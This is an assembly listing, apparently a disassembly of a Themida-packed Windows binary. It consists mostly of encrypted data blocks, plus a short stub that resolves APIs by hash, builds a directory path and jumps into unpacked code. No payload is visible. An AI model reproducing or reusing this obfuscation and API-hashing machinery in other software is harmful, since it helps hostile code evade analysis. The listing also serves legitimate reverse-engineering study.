dd 3C38B55Eh, 4B13E844h, 647EA71h, 8CC16AF1h, 438226ADh
dd 8A291864h, 4BFF4ABh, 560CDC83h, 0B870671Bh, 0AA816581h
dd 0DA67714h, 0C3F8AF76h, 0ABE08700h, 29640AD1h, 0BC706754h
dd 9A254687h, 0BEABE69Ch, 0E9FE905Eh, 5E6F8542h, 260561B5h
dd 69C8675Ah, 0F6CA8DC2h, 94E2CBF5h, 0E502CA5Eh, 877BBA6Eh
dd 62E0CBB5h, 82B55E97h, 6DD5D4A6h, 89B55E97h, 0AAE6D0ADh
dd 89A847D6h, 0A534A8E7h, 0E9F2C9FEh, 97803D47h, 7D3CB55Eh
dd 0C9B98EC9h, 84FACE6Dh, 62F4FD47h, 4E2BAF31h, 984FD66Dh
dd 0C067E063h, 7E06AC8Bh, 0CA6B0AB9h, 0D912EC21h, 4EEEB46Dh
dd 7E390E6Dh, 229CA9A2h, 4914FBFh, 4C59CEFEh, 1F3C18AFh
dd 0DFB6EB94h, 0DBF534D8h, 4B70A960h, 22B50EA6h, 8A3146D4h
dd 85AC43FEh, 522EA9DEh, 8BC57D2Ch, 0B45AB55Eh, 0F9A98D79h
dd 0F2507Dh, 9128CF65h, 7932F0BCh, 6E127644h, 50CB077Dh
dd 51C99996h, 7A11021Dh, 5655274Bh, 6DCC9FECh, 754F2C08h
dd 8D1BC05Ch, 393296D7h, 9651CA29h, 0D766F6C1h, 70245D04h
dd 569135F4h, 22437E81h, 28B3366Bh, 0BE324782h, 49h, 80C05C0Ch
dd 0E5B38FCAh, 580B96D7h, 9023CC54h, 92BBA5BBh, 75AEDDADh
dd 0B770E7DEh, 1BE6582h, 0DD6DCC7Dh, 0F5D7BB81h, 75437A32h
dd 0CA7B3E42h, 0D7D87489h, 9A34C196h, 0FFECA174h, 50B8D5A3h
dd 72EF0C4Dh, 42h, 25C05CCAh, 0C6B5F096h, 6DCC7C7Ch, 0F2B89C98h
dd 235E04D7h, 2D6F36Fh, 0CC7CBE07h, 0ECFE766Dh, 937FB86Dh
dd 0D7F2BA8Fh, 5E04D7F5h, 0D6F36F23h, 5E70A75Dh, 68AC616Dh
dd 0B25D8ABFh, 0BA1B65Ch, 96D78A42h, 0A3406817h, 0FFACC12Ah
dd 6DCCBB38h, 0FD13359Eh, 287FFFFh, 6DCC7C44h, 69E5FA03h
dd 0BDF93BF2h, 0F7429E6Dh, 0D8523E22h, 24BF0306h, 0DB576DCCh
dd 24BD05FEh, 0DC926DCCh, 30D6F5A1h, 24B60CFFh, 0D24E6DCCh
dd 0E18302EEh, 0D772EEA2h, 7E2DA948h, 6DCC24C4h, 0B6204420h
dd 8BD64FBh, 24DC5BCFh, 81471EDh, 71559438h, 9735D685h
dd 620A23B6h, 0AC60772Bh, 9D06B96Dh, 77C9BA06h, 0EA043DE4h
dd 6679833Fh, 0F20763D0h, 7637B251h, 5675C124h, 221h, 7C4502B4h
dd 0BC7F6DCCh, 0F9B0CA07h, 6DCC7C49h, 499CB1ADh, 6C1F31AAh
dd 67FC1847h, 75BFB09Dh, 0E6508294h, 99151111h, 3E326B22h
dd 0B66AA147h, 0F197691Fh, 122E6D1Fh, 32DE025Eh, 0CBA536BDh
dd 13694BE0h, 5AFF5B9Eh, 4037B986h, 548B1C08h, 4E00000Dh
dd 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah
dd 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h
dd 6BDA0F72h, 0D78F1592h, 48255C04h, 0F39FD48Bh, 5CDBF7FEh
dd 906BFBD8h, 5B923AF1h, 0D5A7CBA7h, 0F6139BD6h, 25373367h
dd 2B6EF96h, 54FACE73h, 0F7096D19h, 26F08E34h, 0E60A6694h
dd 689F4514h, 4BF49393h, 6F1A4416h, 9426F0D3h, 64223733h
dd 7953888Fh, 1685B192h, 74D9559Eh, 4032A34Ah, 0C4A730E4h
dd 0BE00000Ch, 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh
dd 9FFBBFAh, 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h
dd 802B15F8h, 6BDA08C2h, 32FFC522h, 0AF2A4479h, 467F26FAh
dd 0A95F762Ah, 0BEA27E72h, 0B883FDA9h, 482CD811h, 0FD43D233h
dd 1651146h, 9D500BE5h, 87597F5Ch, 5F39F846h, 0EAFF8C61h
dd 0FCAFFC41h, 0BC8E8A67h, 0EF0C4BFDh, 237F067h, 1DAF946h
dd 0E0B66CEFh, 2105F128h, 0F8D55145h, 745329E0h, 37339E06h
dd 4EB12825h, 0C91D97A6h, 580DCCB4h, 52C08229h, 3F249E16h
dd 35EC8767h, 90472B63h, 8C4A0D9h, 0EFA3DC91h, 0E0FA2FD8h
dd 7E1AE1EBh, 7A318F9Ch, 5A4C2145h, 738D4E65h, 26108BB8h
dd 4AEF6B94h, 5E22D66Ah, 0F0871004h, 0EA00000Bh, 0D2490548h
dd 0F067E31Ah, 0CD4C0039h, 0DA61DD1Ah, 4543F736h, 0DA19CB39h
dd 0F536D75Eh, 0D10CC239h, 0F025DE5Dh, 0BC6F513Ch, 6BDA0906h
dd 323B01DEh, 63504479h, 0B6758754h, 67FC16ADh, 4813ED49h
dd 0B7BB67A2h, 0EF0C4D00h, 6638F067h, 0FB9A86BFh, 5320E45h
dd 0B3EF7764h, 1995B1CFh, 98B2EBA2h, 0F6996B21h, 0F6C09DB9h
dd 1EBD5C70h, 2C5C5D4Ch, 0EE6A67FCh, 6EA95DDCh, 0DDCC9E82h
dd 9423AC65h, 0D6C8A581h, 23AC378Fh, 69DD694h, 7B660AE3h
dd 82EA39h, 32600000h, 384F437Ah, 2EAD5990h, 51483C79h
dd 9BE8649Bh, 0E61BC47Ch, 401A363Ah, 0FC0E4C49h, 3DF16867h
dd 58552F9h, 0EFD31791h, 2B4328DAh, 917D2888h, 6C6207EBh
dd 224A077Eh, 0B196172h, 73130000h, 47FD7C30h, 681D9C10h
dd 47FC7B2Fh, 25C74E0Ah, 87472E6h, 43F736DAh, 5CD011B4h
dd 3AEE29DDh, 5BCF04BBh, 259D8C70h, 0C16BDA0Ah, 4D758E4h
dd 2A5245Dh, 752BA8C5h, 54198A3Eh, 73000000h, 4F437A32h
dd 76885362h, 0FC1226B3h, 0BB6EC067h, 94239607h, 0FA5F83DFh
dd 4A0737CEh, 0B4C3D4C0h, 0AE00000Ah, 7605B9FCh, 942397CEh
dd 81F8B4EDh, 9E1D91CEh
dd 392FABEAh, 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h
dd 30DBE5C8h, 6BDA0A92h, 0D7AF7572h, 0A5245D04h, 29B2C700h
dd 4D334D82h, 0CC7CE45Eh, 4724006Dh, 52874057h, 5B7C5378h
dd 41961BDBh, 6C4B7A2Ch, 4ABD10D5h, 489D336Ah, 0EF000002h
dd 225F04D7h, 9D4C7145h, 0ABC516h, 67FC2063h, 7B2CA783h
dd 88987824h, 37499221h, 0A4318F74h, 16156761h, 6D8457ACh
dd 0F608EC48h, 2A7CBE63h, 0FBF2350Eh, 0CAA65A76h, 0F504F1ADh
dd 0A14514E6h, 0A1B6BA66h, 0CCBFA1BFh, 6D843976h, 0CEB5928Eh
dd 67B3C4EEh, 1E401A16h, 5FF4F42Dh, 0ACC188A3h, 2943782Fh
dd 0DDCCFBB2h, 97F8C865h, 0ACC1A581h, 0C7FCA332h, 0DC699022h
dd 3DA67E49h, 9D3h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h
dd 5CD00FC1h, 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h
dd 5A664905h, 0DA0B13AFh, 2EF6F36Bh, 4D3A7A32h, 0E5020E3Eh
dd 98927E62h, 4A8F28B3h, 0CC6CE35Fh, 4227036Dh, 0F9CE2696h
dd 0BC8E4D6Ch, 59D6A9A2h, 22B24689h, 3C685E45h, 0F87467F6h
dd 8B41F8E6h, 0A7C4A054h, 8438792Ch, 5F1354F5h, 8A38F30Dh
dd 6A942604h, 6D8CD9EEh, 10AD5C6Eh, 0EE9E165Fh, 30E15872h
dd 9F0DDEFh, 5DCB4EBDh, 7FF6C09Dh, 2998DCEh, 35A71449h
dd 0FB403252h, 92DBA2Bh, 87270000h, 5B118844h, 7C31A824h
dd 5B108743h, 792BAA1Eh, 7C887E3Ah, 9F1B5A0Eh, 78347518h
dd 96124D01h, 7733681Fh, 4101A894h, 0A56BDA04h, 0CBE07C48h
dd 6DCC7C6Fh, 4B8F26DDh, 0E99DDC90h, 0EB087084h, 0FBD7E391h
dd 1CBB48DEh, 0D8D3ADBFh, 6DCC4F6Ah, 154EF38Ah, 0CE10561h
dd 9B4F0AF4h, 9BB0B460h, 0FC1457F0h, 99B3AF67h, 76326B22h
dd 73CFBAA4h, 93943C74h, 9423C297h, 0C383547h, 1BA76279h
dd 0FB943CD8h, 61E63A1Fh, 9497697Eh, 9E0AD288h, 0AF2A4420h
dd 9007C3F8h, 266507D7h, 0B909007Ah, 5D9E11B5h, 5C01E501h
dd 4035144Eh, 78435440h, 72000008h, 3AC17DC0h, 58DF5B92h
dd 35C478B1h, 62D95592h, 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h
dd 59943AC1h, 78AD56E5h, 34F7C9C4h, 6BDA048Eh, 2C38966h
dd 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 9B87C065h, 0EB9EC297h
dd 67FCCAD6h, 441A3430h, 23CDFD45h, 431D1994h, 23CDFA48h
dd 293E1A94h, 0A3DE8457h, 0BFFAB027h, 80DC2D3h, 5C3A0000h
dd 324C1EBDh, 0CC7CCB77h, 1A2F2B6Dh, 186E4346h, 0CCA867FCh
dd 983591D8h, 9BD89423h, 5210E104h, 76F0397Bh, 5A000001h
dd 55417C32h, 9E529336h, 314B8027h, 7CE65C4Fh, 22FE6DCCh
dd 8C425945h, 0A85EDD51h, 0B24CB96Dh, 0A258532Dh, 426DCC7Ch
dd 19A83AE6h, 32D9607Ah, 4E72AB62h, 32A9BEA2h, 0E8D417Ch
dd 1D431D58h, 0CC7CD46Eh, 1734306Dh, 7D8E4067h, 0E59C6DCCh
dd 843E74Eh, 0F2EDEF54h, 838931D8h, 725B9233h, 0C68556D6h
dd 114AFF62h, 10621835h, 0BB6AA549h, 9233E707h, 0B35F83DFh
dd 5EE4A7B9h, 0B69233E7h, 0E45FBBAh, 72E9FE62h, 4BCA7EBFh
dd 0D3AD599Ah, 762A5F08h, 0E7BD0504h, 0DD599233h, 9E24E7F9h
dd 769233E7h, 0AD56DDFAh, 671A8C78h, 0ECC869C8h, 0A047FE33h
dd 97BBB76Bh, 7D4DF6C5h, 80E490C7h, 7819B064h, 783E1B37h
dd 0CD745001h, 0EFC4B094h, 5939EAE8h, 76C9EE1Ah, 18B9805Ah
dd 35472BD7h, 3367CC76h, 2F4C2892h, 0A6D6249h, 0FD799803h
dd 0D617BA41h, 9C43D52Ah, 7A67C7C2h, 0BE7D9423h, 9F9CE07h
dd 7E2D532Dh, 94237AC4h, 77274420h, 0F63FD66Dh, 0E99D1C53h
dd 7A7BC7AEh, 92799423h, 94237A30h, 0CCA858D4h, 371B5C0Dh
dd 0B2F39625h, 0F79A2195h, 0E970CAB6h, 1A160A45h, 0B919A03Dh
dd 98FBEF58h, 0DAF4D0B5h, 0AB5FDA04h, 0F9A08470h, 94235B49h
dd 51FAB1ADh, 0BB443F1Ch, 539E1323h, 0C27963D7h, 5493350Dh
dd 0CBA08470h, 0A01C5D10h, 7E3A7519h, 1EBD5CE8h, 1A7324Ch
dd 7D5AD6CAh, 0FC2B3986h, 0AD59D567h, 44FEADD3h, 0A09423ADh
dd 266105C4h, 5AE1F67Ah, 3C8685B2h, 0D89423ADh, 6566785Ch
dd 309523CAh, 9F173424h, 25C05C09h, 0CFB6EF96h, 6DCC7C73h
dd 0C7BB9793h, 0CC7C26A0h, 17AEC56Dh, 6B35FFD2h, 0A97E6F33h
dd 25D4B2BDh, 1DF96F8Ch, 53000000h, 4F437A32h, 0CC7CBA08h
dd 7211A06Dh, 62D60DB3h, 0CC215FA3h, 0BA5A0B6Dh, 0B2FFFFFFh
dd 76447932h, 4D7CFFDh, 0B548255Ch, 35ECBA21h, 222BF697h
dd 3F0B366Bh, 81000000h, 8D1BC05Ch, 7C6ED4D7h, 0AA866DCCh
dd 32A9D71Ch, 0A02C417Ch, 75437A32h, 0A9D78A42h, 0CC7C4002h
dd 0EE29DD6Dh, 0A8E387FEh, 0DD5C78FCh, 1F03EF28h, 3E9F4Ah
dd 1AA10000h, 0EA463A73h, 0C05C370Dh, 0D4D78D1Bh, 6DCC7C6Eh
dd 0F82FD564h, 9ED98D0Ch, 0C813A5C2h, 3D0BE722h, 7F32A9D7h
dd 0D7A3293Eh, 51265B04h, 1DABE28Ah, 4002A9D7h, 0A46DCC7Ch
dd 9038B3C8h, 4E427B32h, 0CC7CBB07h, 7312A16Dh, 6C2FBB2h
dd 0C2ED3734h, 0FE956672h, 1A0F42E9h, 3AAB6DCCh, 0FFFFF3D3h
dd 0F396D792h, 19656CFBh, 0AF55DEFBh, 91786678h, 6DCCE631h
dd 0D005BED5h, 47244024h, 38A3328Fh, 84C26326h, 0E03C67FCh
dd 4D96534h, 873C943Ch, 0B1C40DE8h, 14A4397Ah, 0E6000000h
dd 0E40h, 6B1E4000h, 6DCC7CD7h, 9686C368h, 5CE7BD9Ah, 0A3E083BDh
dd 7D4F73EFh, 7D3109BEh, 0EE721E42h, 0CF0407D9h, 8767FC1Fh
dd 0A14CF6B5h, 0CCA89423h, 27DDFCA8h, 4F8D3CF0h, 0D59423A1h
dd 4B256006h, 23A1E260h, 51260294h, 97A0E48Ah, 66DCCF9Eh
dd 7E942354h, 0C0FB5A2h, 855B7551h, 23283C86h, 235C1194h
dd 73AE546Bh, 0AABFA37Fh, 0C601A534h, 0AFC49EDAh, 0EB47D14h
dd 0B68557D3h, 4420D411h, 0BEF3AC27h, 237F0E7h, 26275923h
dd 0A6BF2A98h, 2A1B677h, 0D409C263h, 0CE4E7F51h, 1152F38Ch
dd 0FBDC0165h, 0C08C61FFh, 0EB221BF6h, 0E0FB30h, 5C510000h
dd 0D78F1DC2h, 0CC7C6BD4h, 0E7B5A16Dh, 0ADC4A9D7h, 80DFAAAEh
dd 0AD2A9893h, 4ECA6DCCh, 199D4572h, 224842B6h, 771A7F45h
dd 348E7D63h, 0AE6DCC7Ch, 0CC7C47FBh, 0CBC39F6Dh, 7C10B259h
dd 78F46DCCh, 32A57F5Ch, 0FD764479h, 1BC05CCFh, 0C4A9D78Dh
dd 59DC7D7Fh, 0DA680F1Ch, 3A6DCCF1h, 6B5509DEh, 0F12C9695h
dd 6CC86DCCh, 4D7B58Fh, 0F36F235Eh, 21E021D6h, 41C0366Bh
dd 0A000000h, 0CB80C05Ch, 2E1251F3h, 0E802DE42h, 78EB4D03h
dd 87EB97D2h, 0ACFCB462h, 0D4D7F5CFh, 6DCC7C6Eh, 22590F86h
dd 48CEF26Eh, 7A32F5D7h, 8A427543h, 4002A9D7h, 0A46DCC7Ch
dd 1636B3C8h, 86000000h, 8D1BC05Ch, 7C6ED4D7h, 0B0A46DCCh
dd 32F5D7EAh, 4275437Ah, 5B04D78Ah, 0E1F67A26h, 0FFFF1768h
dd 7932D4FFh, 92395044h, 7584E15Dh, 0B4959466h, 5267FC11h
dd 0C37B2AD6h, 22942396h, 0B6F7F291h, 96397B3Fh, 3Ch, 1EBD5CF4h
dd 7C745D4Ch, 0FB9267FCh, 25170B48h, 3C7CDC66h, 183C3894h
dd 0A521483Ch, 7A943C7Ch, 0A4BFED4h, 0E59B3AE6h, 0F685C2AEh
dd 0EB88715Fh, 36409154h, 0EA20397Bh, 6A000000h, 50447932h
dd 0AC589739h, 246599D2h, 6DB8FBF6h, 0E9FE37EEh, 47E9B972h
dd 9581B66Dh, 0CAC1B591h, 0EB07EB22h, 0B2E7A037h, 336C2198h
dd 0E490D174h, 34F36B80h, 6DCC22D6h, 4F0B40E7h, 53AF806Dh
dd 0AEE6C0A4h, 0CC7347FBh, 9FC39F6Dh, 255A11CAh, 36CEFF71h
dd 0CEBB1D30h, 0A62DD0ADh, 76451B35h, 0CCB794D1h
dd 67FC360Fh, 1DFFBBB7h, 5AFA4843h, 351A943Ch, 66197E3Eh
dd 9DE0201h, 6C7E5D7Ch, 0E724C792h, 6922373Bh, 9E0AFF51h
dd 14A7B9B5h, 0FE7D3170h, 7FBA704Ah, 6B38F93h, 40354EE2h
dd 600F988Ch, 5A000002h, 42B975B8h, 60D7538Ah, 3DBC70A9h
dd 0A914D8Ah, 0B5B32766h, 2A691B49h, 458627AEh, 215C1289h
dd 40752EADh, 0EC9FA18Ch, 6BDA0256h, 326B31AEh, 402D3F7Eh
dd 95D7A184h, 40F6D3A9h, 61DD12B9h, 1EBD5CCBh, 0CB77324Ch
dd 2B6DCC7Ch, 9ACF782Fh, 0F6C59BBDh, 8CC77B4Fh, 0CCB89C98h
dd 0BB989368h, 3967FC7Ch, 0B794C982h, 0ECBB67C3h, 94238352h
dd 866302B1h, 397B372Bh, 0D80Bh, 1A63500h, 321DA7C4h, 39504479h
dd 0D2AC5897h, 7C45FDACh, 0B16C6DCCh, 0AB65AE9Fh, 4E2B07F7h
dd 0CCC6B555h, 0ACE18A6Dh, 79304E30h, 6DCCBEC9h, 9F1C312Dh
dd 0F2BFB3E8h, 23E6F8E3h, 67FCCDE6h, 934BBBA0h, 0DDA87F08h
dd 0D9E045F9h, 572E04F9h, 0EDA1402Ch, 98B28EB2h, 161849B3h
dd 1C31E92Fh, 0EB9F1A44h, 4673CFBAh, 9793943Ch, 34E59EBBh
dd 0D29E0A8Bh, 13B58456h, 25E4FAD4h, 9E11F99Dh, 74A96279h
dd 0AEC0A480h, 11F947FBh, 0A6C39F9Eh, 0C807A930h, 3558EB23h
dd 68712540h, 143h, 8E4A8D3Dh, 0AE2A6107h, 95498227h, 0A8246106h
dd 8C407F31h, 3CF0629Eh, 17BA41FDh, 2FD362D6h, 0AC138F4h
dd 8A7659D5h, 0DA03239Fh, 5EE6C36Bh, 8B3F7E32h, 0AA1E530Ch
dd 4479321Ch, 67923950h, 7C309279h, 58D46DCCh, 0CC7C11B1h
dd 8883F56Dh, 6DCC7C3Ah, 7E627EDAh, 7D5E75CAh, 271FA863h
dd 98D567FCh, 8AC6FC91h, 6DA5D1BAh, 498E17B6h, 0CE4A502Dh
dd 9B27E2FCh, 7B94238Dh, 4980289Fh, 0D68D4C34h, 0F5AE2DA1h
dd 0D8DFD4C0h, 3442E903h, 0D09E1911h, 0F117AB5Eh, 73EF9E15h
dd 509AEA4Fh, 144031h, 9A97h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h
dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh
dd 54E35792h, 0C7C276ABh, 0FC8C36F5h, 8B686BDAh, 1EBD5CC1h
dd 0E05D5D4Ch, 0D6967F6h, 0A41E0DF3h, 409425E0h, 0B86CA349h
dd 6A2198BCh, 14661835h, 19CCA045h, 2C482CD8h, 54DFFC78h
dd 33C276ABh, 0FCAB578Ch, 0C646447Bh, 0C160FFA0h, 40FBD50Ah
dd 0C0A45089h, 0FBA433ABh, 7E60DAC6h, 463C378Bh, 7653CFA6h
dd 0D9CD0ABDh, 949D34CFh, 7302B6EBh, 0FAEB97CCh, 3, 326D5F52h
dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h
dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89522434h, 4C281E2h
dd 83000000h, 148704EAh, 3C895C24h, 3D116824h, 34890000h
dd 31B85024h, 8311BF34h, 0D140FFE8h, 1D22DE0h, 0C7891D68h
dd 4EC8358h, 83242489h, 5E042404h, 8468F57h, 5E2434FFh
dd 4C481h, 34FF0000h, 0C4835F24h, 0FEA6E904h, 9247FFF9h
dd 7AB77EB7h
; ---------------------------------------------------------------------------
loc_5B3638: ; CODE XREF: Themida_:loc_5B1A3Cj
mov eax, 616815Dh
add eax, ebp
push eax
mov byte ptr [ebp+61023E5h], 47h
push 0CF381725h
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
mov ebx, eax
lea eax, [ebp+6102B01h]
push eax
push 104h
call ebx
mov byte ptr [ebp+61023E5h], 53h
push 8307F8BFh
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
mov [ebp+6166470h], eax
cmp dword ptr [ebp+6103105h], 0
jz loc_5B36A2
mov ebx, [ebp+6102089h]
jmp loc_5B36A7
; ---------------------------------------------------------------------------
loc_5B36A2: ; CODE XREF: Themida_:005B3691j
mov ebx, 0
loc_5B36A7: ; CODE XREF: Themida_:005B369Dj
push 100h
lea esi, [ebp+6166474h]
push esi
push ebx
call dword ptr [ebp+6100245h]
lea esi, [ebp+6166474h]
add esi, eax
jmp loc_5B36C8
; ---------------------------------------------------------------------------
loc_5B36C7: ; CODE XREF: Themida_:005B36D4j
dec esi
loc_5B36C8: ; CODE XREF: Themida_:005B36C2j
cmp byte ptr [esi], 5Ch
jz loc_5B36DA
cmp byte ptr [esi], 2Fh
jnz loc_5B36C7
loc_5B36DA: ; CODE XREF: Themida_:005B36CBj
mov byte ptr [esi], 0
lea eax, [ebp+6166474h]
push eax
call dword ptr [ebp+6166470h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
db 6Eh, 8Fh, 0E6h
; ---------------------------------------------------------------------------
adc eax, ebp
sub esi, ecx
or [ebx], ch
ficom dword ptr [esi+ecx*2]
jmp loc_5B3742
; ---------------------------------------------------------------------------
dw 2241h
dd 8C9332DDh, 0E89DE61Dh, 746E2E81h, 2E6C6C64h, 6C6C64h
dd 0B2BD1467h, 0FEB98003h, 9 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B3742: ; CODE XREF: Themida_:005B36F9j
jmp loc_5B3E2D
; ---------------------------------------------------------------------------
push 6168410h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61684D7h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616859Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616868Fh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616875Fh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6168849h
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 1Ah
dd 2793578h, 2097134Ah, 0FD7C3069h, 0CA510D4Ah, 7573E726h
dd 0EA29DB09h, 546E76Eh, 0E11CD249h, 35EE6Dh, 0AC5F614Ch
dd 6BDAFF16h, 0D72BF1EEh, 7F2A6104h, 6DCC7CC3h, 772B4723h
dd 2863DEFBh, 0D9000000h, 2A447932h, 0A5E28554h, 3C8675F1h
dd 0D86DCC7Ch, 0F3CF10C1h, 0FAB128D6h, 0E46209C5h, 396DCC7Ch
dd 0CF0CBF95h, 5CB137F3h, 5D4C1EBDh, 67FC0FB0h, 771ED24Eh
dd 942391CFh, 0FBFE952Eh, 397B48B2h, 25192h, 0D7D2AC00h
dd 94239D6Bh, 0F2BA8F8Bh, 216004D7h, 0DB5C724Ch, 0DECD9F3Ch
dd 67FC2045h, 99420561h, 5871781Ch, 2B45961Dh, 3D3B9780h
dd 0D9F36F52h, 8571AC62h, 66DCCFA1h, 7E427D5Dh, 0ECD9C5A2h
dd 4D3C0ECDh, 484AA06Fh, 342E675h, 5E2F34E6h, 2B2F5B2h
dd 0F9C09AB6h, 94C98252h, 0EC6084E0h, 0DC81B66Dh, 9A75CA5Eh
dd 12736430h, 22000005h, 2AB12D70h, 88F4B82h, 25B42861h
dd 12894582h, 0BDAB1F5Eh, 32711341h, 0D4EFF76h, 0E924CA51h
dd 83DE675h, 0A4675954h, 6BDAF81Eh, 0D733F9F6h, 7A265B04h
dd 0B15AE1F6h, 0F869627Ch, 4D865B55h, 0A81D09DEh, 0BBB0CA11h
dd 0FFCBF98Ch, 0D978654Eh, 3E767EA4h, 3CEF11E6h, 67FCBDFFh
dd 21581087h, 59D5F175h, 0F05C4687h, 0B082B803h, 0A7AD039Bh
dd 44307114h, 5B7A0BE0h, 26BB6E80h, 9E9E0C93h, 1A2F641Bh
dd 0A2490C68h, 67913ACBh, 0CAA437BEh, 487F25B4h, 0DA9F7833h
dd 0FB773CBEh, 0C01BBA07h, 43DDFBAEh, 492532C9h, 0C6FBA437h
dd 53562812h, 22D340EFh, 854E2B07h, 2C44A9DEh, 0E2FCF7C5h
dd 44BA132h, 0AB5B0000h, 0BF65F468h, 0A045D488h, 0BF64F367h
dd 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h, 0C478B96Ch, 0E2569135h
dd 0C377AC53h, 8D35F4C8h, 696BDAF8h, 7932C08Ch, 0E0D1733Bh
dd 0CEF26476h, 51863DFCh, 0FAACC1A5h, 13EDEE05h, 989FC7DAh
dd 0F9B059B4h, 96D1956h, 0C81D0CF4h, 5667FC9Bh, 75B255E4h
dd 3CFB3C86h, 785CD894h, 8D585FC4h, 3CFB249Eh, 8064C094h
dd 79E0BB6Eh, 9E7A9E06h, 8327B2CCh, 0A2BEF9ADh, 0DE5572EEh
dd 623CF025h, 0E1F635D7h, 2CE1B15Ah, 3EFDCFF3h, 0DB574B8Ah
dd 24B300FEh, 0D0BBA5B7h, 9E167872h, 63B19692h, 0FA25F406h
dd 4F3A1E3Bh, 94263642h, 1C5B0D84h, 0D7EB9338h, 91855E22h
dd 38408h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h, 87C467EEh
dd 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh, 54E35792h
dd 0C7C276ABh, 0F98C36F5h, 8B686BDAh, 447932C1h, 87546350h
dd 5B9B675h, 3E5567FCh, 0DB574B8Ah, 0D9C243F7h, 0EE000001h
dd 8AA91910h, 0D14D9423h, 0C41530FCh, 306F2198h, 65A24544h
dd 0EB22CA81h, 0BF1E3B37h, 0B7C9A338h, 0CC7C4EF4h, 0FBC1A66Dh
dd 248C5CB6h, 1D7F4D0h, 69A85CDFh, 4F02B9BDh, 0D152390Eh
dd 0F567FCBDh, 0F10DBE79h, 0F0896109h, 6D8F2E9h, 0FF9131D8h
dd 0F975697Fh, 540D07D4h, 8C6102FBh, 4F0C629Fh, 56280463h
dd 0C3FCB128h, 6E8B6ED4h, 0CDAA8693h, 6D5E4D1h, 994AF7F4h
dd 6CD1F011h, 9AC2698Fh, 6A995982h, 1B111F8h, 0D9559542h
dd 0AF58E3FDh, 9037BE7Ah, 1ED207C0h, 0DBB91E42h, 754B6684h
dd 29338A1h, 3A30000h, 0D78D0CC0h, 0F8AD2CA0h, 0D78C0BBFh
dd 0F5971E9Ah, 0F80402B6h, 33A7E68Ah, 0CC001A4h, 2A9ED98Dh
dd 0BBFF4ABh, 0D56D1C20h, 316BDAFAh, 0A9D7E8B4h, 50447932h
dd 7C9D25D4h, 0FD796DCCh, 77AC53E0h, 0A19F368Bh, 60C4B0EFh
dd 7ABF6A84h, 0C67FC12h, 0B6009C10h, 2739A231h, 13C9FF64h
dd 0CA80179Eh, 637FE38Fh, 53AE6489h, 2F9A35A9h, 6BEE9D1Ah
dd 0F66DF566h, 0BF0306DFh, 57093166h, 0B80A01DBh, 5C093166h
dd 1F0AE400h, 30103E2h, 0F932D762h, 4E421EE4h, 6BAC5DDCh
dd 316820B7h, 0EA53815h, 0D0F8B3CDh, 3039177Ch, 0B7311A34h
dd 72D0BB19h, 92351519h, 35EBB196h, 0B9805875h, 0DA61DD12h
dd 0BB4FFC31h, 0F5EB3159h, 1C3B821h, 33D30000h, 7BD3CF0h
dd 28DD5CD0h, 7BC3BEFh, 0E5870ECAh, 0C83432A6h, 3B7F69Ah
dd 1C90D174h, 0FAAEE99Dh, 1B8FC47Bh, 0E55D4C30h, 16BDAFBh
dd 793218A4h, 0EDDE5044h, 6289BFCEh, 9CE9FE17h, 728C5E7Dh
dd 0E6259D8Ch, 0CAC16DCCh, 3A36EA23h, 954A4116h, 3167FC92h
dd 0A6A77935h, 1B97C0C0h, 98344921h, 4C1EBD5Ch, 0F6FE185Dh
dd 0B0CAA667h, 1C570BCEh, 96CB743Fh, 1453F5C4h, 4FF87F37h
dd 0B38FCC7Fh, 0EFE3F2BFh, 1FD246EFh, 24C9F9DEh, 0C39DAF93h
dd 371455F8h, 1F93194Ch, 61BCA19Eh, 7DB46CAEh, 7AC0AD89h
dd 0F00AE694h, 99A71B0Eh, 483F9E1Eh, 6F8C68A1h, 4919D289h
dd 0BBB76BA4h, 0EB942397h, 0DEF5CAB6h, 826EAF62h, 31A8C29Eh
dd 5028457Ah, 2EE06459h, 5A0B8294h, 0ED096D19h, 2A258080h
dd 8D160E5Eh, 0D9h, 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h
dd 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h
dd 6E523DF1h, 0DAF407BBh, 3A02DF6Bh, 0E283BD5Ch, 6F236206h
dd 0D9F3CFF3h, 0F6FE0332h, 7B270367h, 63943A01h, 25011AA8h
dd 421EFA94h, 0C0F5AE25h, 0A1D68D0Ch, 50527BF5h, 4BB00F17h
dd 0E0F09BB0h, 3DC9EA03h, 0BD66CF66h, 9E45D488h, 0F2699769h
dd 0AA18FF3Eh, 4AA8D182h, 0B50DFCCEh, 51A8D182h, 3406F8D5h
dd 10C700A5h, 0D691D5Ch, 83C063F0h, 0B9F98469h, 557E1366h
dd 0E3F82DD6h, 6302B123h, 0F130D467h, 8F4C2105h, 0B027A3D8h
